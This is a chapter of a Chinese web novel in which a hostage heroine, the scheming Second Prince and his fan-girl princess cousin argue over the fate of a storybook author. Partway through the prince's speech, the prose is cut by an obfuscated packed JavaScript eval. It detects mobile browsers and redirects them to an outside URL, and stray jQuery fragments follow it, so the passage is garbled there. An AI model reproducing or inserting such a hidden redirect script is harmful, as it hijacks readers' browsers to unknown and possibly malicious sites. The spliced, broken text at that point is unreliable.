115. 玩的真野,小黑屋囚禁play^……

作品:《全京城都觉得我爹是话本原型

    齐泽仪与鹰奴的对话结束很快,两人皆是性子高傲,互不忍让。


    鹰奴得不到想要的结果,自然不会那么轻易离开,在齐泽仪充满冷意的眼神下,他为自己挑了一个好去处落脚,俨然将皇宫当成自家后院。


    看着他嚣张的背影,铁头上前低声询问,“殿下,需要除掉他吗?”


    齐泽仪眼神晦暗,“暂且不用,他还有用处。”


    铁头见了,也不多言。


    但看到齐泽仪忽然朝紧闭的殿门望了一眼,下意识问道:“殿下,有什么问题吗?”


    “……没什么,先回别院处理事情。”


    铁头应声附和,跟随齐泽仪一同离开。


    而一门之隔的谢温面无表情,抬手用力捂住扑通乱跳的心脏。


    手指尖轻轻发麻,是被吓到的后遗症。


    缓了很久,谢温撑住屋门支棱起来,竹杖被她放到很远的地方,她是生怕人发现偷听,蹭着地上过来的。


    好不容易摸到凳子,缓缓落座后,她掏出怀中藏着的纸张,仔仔细细看了一遍,之后又取出文房四宝,朝上面添了一些东西。


    末了她再次将吹干墨汁的纸塞在床榻角落,她事前在那里偷偷挖了个洞。


    虽然齐泽仪天天跑来监视她,等入了夜,他便会离开去别的宫殿歇息。在他走后,谢温是鲤鱼打挺,用偷藏的调羹抠着脚边那块地。


    功夫不负有心人,连日摧残终叫谢温抠出一个小小的洞,刚好能塞进一些叠好再反叠的纸。


    塞好以后,谢温的心放下了一半。至于另一半在哪,她托腮看着桌上的茶壶,脑子盘算起来。


    然而外头的吵杂越来越近,接着啪地一下,谢温眼前的房门倏地被推开。


    她迷茫抬头,看到一个明眸皓齿的少女一手一个使劲推开阻拦她的宫人们。


    “郡主,二皇子殿下真的不在这儿!”一宫人欲哭无泪,手臂遭少女狠狠一抓,痛得他直嚎叫。


    “看到了,我堂兄金屋藏娇了啊。”少女意味深长地盯住僵在凳子上的谢温。


    “不是,这位是……”宫人想解释,又迟疑地看了一下谢温,不知道该不该说真话。


    少女侧头,微笑道:“你想说她其实是伺候我堂兄的宫女?”


    “……对。”宫人硬挤出一个讨好笑容。


    少女冷哼一声,“放你狗屁!虽然我时常在程王府,可我也知晓京中各个高官家中妻眷。”


    “本郡主别的不说,记忆是一等一的好,我在宫宴上瞧见过,我记得这个人是丞相之女,对不对?”


    宫人哪敢回答,说对会被二皇子惩处,说不对又会得罪郡主。他唯有对谢温投以求救目光,希望谢温能替他解围。


    谢温却视而不见,低头装作很忙的样子,扒拉着桌帷,赞叹上面的做工精细。


    宫人没办法,只求郡主快些息怒,放过他此等小人。


    少女也不是不讲道理的人,看宫人半晌,憋不出一个字,意兴阑珊地松开他。


    宫人如释重负,立马跑出去准备通知二皇子,徒留少女与谢温一屋。


    少女毫不客气,直接走到谢温对面坐下,盯着她看。


    谢温:“……郡主有何赐教?”


    少女双手环胸,严肃地问:“见到我,为何不行礼?”


    谢温一愣,方才乱七八糟的,她还真的忘记行礼了,她回想起来后是站了起来,欲要补上,但少女阻止了。


    “没事,我们很快是一家人了,我以后还得叫你一声堂嫂。”


    一个堂嫂震得谢温讲不出声。


    “我不是!”谢温唯恐与齐泽仪这个晦气东西沾上边。


    郡主是一副“你别再狡辩了,我懂”的气人神情。


    谢温:“我是人质。”


    郡主沉吟片刻:“小黑屋囚禁普雷?”


    谢温:“……”懂了,现在就挺后悔,什么都往话本上写,包括这些有的没的。


    郡主:“《霸道丞相爱上我》真实版?我堂兄玩这么大?”


    谢温:“……”


    郡主看谢温的脸色越来越黑,不敢再继续逗她玩。


    “放心,我知道我堂兄对你无意。”郡主撇撇嘴,“他这个人古怪得很,对谁都不上心。”


    谢温沉默半天,总算找回自己的声音,“郡主若是想找二皇子,您可以去他别院。”


    “他别院在哪?”郡主迷茫反问。


    谢温好人做到底,干脆为对方画了一张舆图,清清楚楚,明明白白。


    正当郡主谢过谢温,要去别院找齐泽仪。齐泽仪不知是得到传信还是根本没走,很快就回来了。


    他握住折扇的手背青筋尽显,阴恻恻地看着一脸笑嘻嘻的郡主。


    “齐慕思,你想做什么?”


    郡主拎着舆图耸耸肩,“没什么啊,我准备去别院找你。”


    话音刚落,谢温感觉一道刺人的目光投在她身上。


    齐泽仪按按眉心,“你找我何事?”


    郡主将舆图放下,稍微收敛笑容,“我来,是想求堂兄你放过糯糯唧唧及其书局一干人等。”


    齐泽仪淡淡地瞥了一眼懵住的谢温,“我为什么要答应?”


    郡主笑容彻底没了,“我知道你是利用我和我爹做借口,乘势打压太子一脉,可书局是无辜的,糯糯唧唧也是无辜的。你就放过她们吧。”


    齐泽仪笑了一下,“你没搞懂这书局和糯糯唧唧,与太子的人脉有什么关联吗?竟叫我放过她们?”


    郡主抿抿嘴,犹豫道:“我听闻书局的老板跟谢丞相是父女关系。”


    她不由得往后看着谢温,“即便如此,父债哪有子还的道理。”


    “是谢丞相碍了你的路,你尽管找他便是了,何必为难一名弱女子。”


    齐泽仪用折扇敲击探头探脑谢温的脑壳一下,目不斜视,“她这般的叫弱女子,那这个世间就真的再无弱女子了。”


    谢·弱女子·温:“……”


    “我知晓你因那些话本被救了一命,甚至给予你重新站起来的力量,可单凭三言两语,你便误以为这写手是你的救星,实际上或许是你的灾星。”齐泽仪语重心长。


    齐慕思是油盐不进,打死都不会改变要求和态度。


    齐泽仪眼皮一掀,直言:“你是觉得我是不会对你家动手,才如此蛮横?”


    “我爹不认为你会善待他,可他也不会阻止你找死。”齐慕思生硬地回复,“但我今日来不是因为我爹,他千方百计想要我自缢,就为了那点脸面,我才不管他死活。”


    说着,她正正身子,认真地说:“谢温倘若真的是糯糯唧唧,那她的存在是必要的,她书写的话本能救很多在迷途之中的人。”


    齐泽仪不予置评,“像你一样?”


    齐慕思点点头,道:“她难能可贵。”


    “我怎么看不出她有这种价值。”齐泽仪语气幽幽,“若真有,那不是更该死了。”


    齐泽仪当着齐慕思的面,讲清楚了。


    “这个王朝不需要有第二个影响力如此大的人,我不会容许这种人存在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469286|176679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    “你的话说完了?说完就赶紧离开。”


    齐泽仪一把夺过齐慕思手中的别院舆图,看了一眼,拿到蜡烛边焚毁。


    齐慕思见齐泽仪这般坚决,咬咬牙,“我不走,你要杀谢温,就连同我一起杀了!”


    齐泽仪完全不在意,“随便你,你喜欢刑部大牢我便送你进去。”


    谢温觉得她应该要说句话,冲破这堂兄妹的尴尬气氛,可她人微言轻,又不知该聊些什么才能化解。


    见齐慕思气得双眼通红,随手抡起茶壶要砸齐泽仪的头颅,谢温心中咯噔一下,不顾右脚疼痛,迈步上前夺去。


    齐慕思惊疑,“你……为何拦我?”


    齐泽仪眸光一闪,也想知道,“是啊,你为何拦她?”


    谢温捧着冰凉的茶壶,茶壶的水顺着抢夺动作,回归谢温怀里时洒出来了一些,打湿她的衣衫。


    谢温捂住衣衫的水,稍稍拧干一下,将水拧落地面,不让它渗入更深,很快衣衫皱起一个小角。


    齐泽仪对此评价道:“粗鄙。”


    正常的大家闺秀第一反应是拿手帕擦干,或者换身衣裳,哪是如谢温这样不在意外表礼仪,堂而皇之地在皇室之人面前“整理仪容”。


    谢温拧完,对齐泽仪的评价莞尔一笑,然后看向齐慕思。


    “郡主,请问您需要我签名吗?作者亲签。”


    齐慕思摸摸额头,以为风寒发热,怎会料到谢温在生死之争竟是这等反应,但不要白不要。


    “我当然要!”齐慕思声音嘹亮。


    她更是从袖子里抽出一本有些破旧的话本,看到它在谢温的手里时,有些羞愧。


    “它原本不是这样的,只是我爹不喜,烧了我许多话本,这本还是我偷偷藏下来的。是我最喜欢的……”


    谢温认得出,这本可以算是新出的话本,因为它正是谢温替罗静等人发声的书册,时间过得不算久,可这话本是充满了岁月痕迹。


    齐泽仪眉间微蹙,有点不可置信,谢温和齐慕思真的当着他的面,搞起签名来了。看谢温笔走龙蛇,唰唰唰地在话本上签写一长串的祝福语。


    看到长命百岁那句,齐泽仪冷哼一下,“她爹可不指望她能长命百岁。”


    不然多丢脸,叫全天下人都知道齐慕思这个郡主在外出游历时丢了身子。整日还像没事人一样笑嘻嘻度日。


    谢温签完,递过去时,冷冷道:“反正她爹肯定是先死那一个,管他指不指望。”


    接着她一顿,平时怼人怼惯了,一时忘了她怼的人的女儿在场。


    然而当事人女儿并不在意,美滋滋地摩挲着谢温给她写的祝福语,“你有什么想要的吗?我想要报答你!”


    无论是救命之恩,抑或是这个签名的恩情。


    齐泽仪以为谢温这种没心没肺的不会要,可谢温还是出乎他的意料。


    “你能把刑部尚书的女儿林恬枫叫来吗?”


    齐慕思下意识瞅了瞅齐泽仪,“可以是可以,但是她的话语权可能不大。”


    林恬枫一名无官无职的女子,哪来的话语权,齐慕思这番话是在暗示她爹刑部尚书对齐泽仪争权这件事上,说不上话,插不了手。


    谢温:“我知道,我只是想让她替我去见见我爹,瞧瞧他的情况,毕竟我被某人金屋藏娇,不方便出去。”


    齐泽仪眼睛稍稍瞪大,“什么金屋藏娇?”


    有点把他恶心坏了。


    齐慕思疑惑地回望,不就是你吗?


    霸道皇子爱上我。